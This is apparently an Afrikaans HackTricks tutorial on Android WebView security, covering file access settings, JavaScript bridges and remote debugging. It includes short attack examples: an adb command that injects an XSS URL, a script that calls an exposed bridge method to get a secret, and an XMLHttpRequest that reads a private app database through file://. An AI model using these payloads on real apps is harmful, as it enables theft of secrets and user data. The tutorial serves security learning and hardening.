8.9 KiB
Webweergawe-aanvalle
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Vereenvoudigde Gids oor WebView-konfigurasies en -veiligheid
Oorsig van WebView-gebreklikhede
'n Kritieke aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en veiligheidspraktyke om risiko's wat verband hou met WebView-gebruik te verminder.
Lêertoegang in WebViews
Standaard staan WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die setAllowFileAccess()
-metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die android.permission.READ_EXTERNAL_STORAGE-toestemming kan lêers van eksterne stoorplek lees deur 'n lêer-URL-skema (file://path/to/file
) te gebruik.
Verouderde kenmerke: Universele en lêertoegang vanaf URL's
-
Universele toegang vanaf lêer-URL's: Hierdie verouderde kenmerk het kruis-oorsprong-versoeke vanaf lêer-URL's toegelaat, wat 'n beduidende veiligheidsrisiko inhou as gevolg van potensiële XSS-aanvalle. Die verstekinstelling is gedeaktiveer (
false
) vir programme wat Android Jelly Bean en nuwer teiken. -
Om hierdie instelling te kontroleer, gebruik
getAllowUniversalAccessFromFileURLs()
. -
Om hierdie instelling te wysig, gebruik
setAllowUniversalAccessFromFileURLs(boolean)
. -
Lêertoegang vanaf lêer-URL's: Hierdie kenmerk, ook verouderd, beheer toegang tot inhoud vanaf ander lêerskema-URL's. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde veiligheid.
-
Gebruik
getAllowFileAccessFromFileURLs()
om te kontroleer ensetAllowFileAccessFromFileURLs(boolean)
om in te stel.
Veilige lêerlaai
Vir die deaktivering van lêersisteemtoegang terwyl toegang tot bates en hulpbronne steeds behou word, word die setAllowFileAccess()
-metode gebruik. Met Android R en hoër is die verstekinstelling false
.
- Kontroleer met
getAllowFileAccess()
. - Aktiveer of deaktiveer met
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Die WebViewAssetLoader-klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s)-URL's om plaaslike bates en hulpbronne te benader, in lyn met die Same-Origin-beleid, wat CORS-bestuur vergemaklik.
JavaScript en Intent-skemahandtering
-
JavaScript: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word deur middel van
setJavaScriptEnabled()
. Voorsoorsigtigheid word aanbeveel, aangesien die aktivering van JavaScript sonder behoorlike veiligheidsmaatreëls veiligheidskwessies kan veroorsaak. -
Intent-skema: WebViews kan die
intent
-skema hanteer, wat potensieel kan lei tot uitbuitings as dit nie sorgvuldig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het betrekking op 'n blootgestelde WebView-parameter "support_url" wat uitgebuit kon word om kruissite-skripsie (XSS) aanvalle uit te voer.
Voorbeeld van uitbuiting met behulp van adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript-brug
'n Funksie word deur Android voorsien wat dit moontlik maak vir JavaScript in 'n WebView om nagtiewe Android-app-funksies aan te roep. Dit word bereik deur die gebruik van die addJavascriptInterface
-metode, wat JavaScript integreer met nagtiewe Android-funksies, bekend as 'n WebView JavaScript-brug. Voorsoorsigtigheid word aanbeveel, aangesien hierdie metode alle bladsye binne die WebView in staat stel om toegang te verkry tot die geregistreerde JavaScript-brugobjek, wat 'n veiligheidsrisiko inhou as sensitiewe inligting deur hierdie brûe blootgestel word.
Belangrike oorwegings
- Uiterste voorsoorsigtigheid is nodig vir programme wat Android-weergawes onder 4.2 teiken as gevolg van 'n kwesbaarheid wat afstandsbeheer deur middel van skadelike JavaScript moontlik maak deur refleksie te benut.
Implementering van 'n JavaScript-brug
- JavaScript-brûe kan met nagtiewe kode interaksie hê, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView te voeg:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
- Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld deur 'n XSS-aanval, maak dit moontlik om blootgestelde Java-metodes aan te roep:
<script>alert(javascriptBridge.getSecret());</script>
- Om risiko's te verminder, beperk die gebruik van die JavaScript-brug tot kode wat saam met die APK versprei word en voorkom die laai van JavaScript vanaf afgeleë bronne. Stel die minimum API-vlak op 17 vir ouer toestelle.
Refleksie-gebaseerde afstandsbeheeruitvoering (RCE)
- 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur die uitvoering van 'n spesifieke lading. Die
@JavascriptInterface
-annotasie voorkom egter ongemagtigde metode-toegang, wat die aanvalsvlak beperk.
Afstandsoplossing
- Afstandsoplossing is moontlik met Chrome Developer Tools, wat interaksie en willekeurige JavaScript-uitvoering binne die WebView-inhoud moontlik maak.
Aktivering van afstandsoplossing
- Afstandsoplossing kan geaktiveer word vir alle WebViews binne 'n toepassing deur:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Om voorwaardelik foutopsporing in te skakel gebaseer op die toestand van die toepassing se debuggable eigenschap:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Uitlek van willekeurige lêers
- Toon die uitlek van willekeurige lêers deur gebruik te maak van 'n XMLHttpRequest:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
Verwysings
- https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html
- https://github.com/authenticationfailure/WheresMyBrowser.Android
- https://developer.android.com/reference/android/webkit/WebView
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.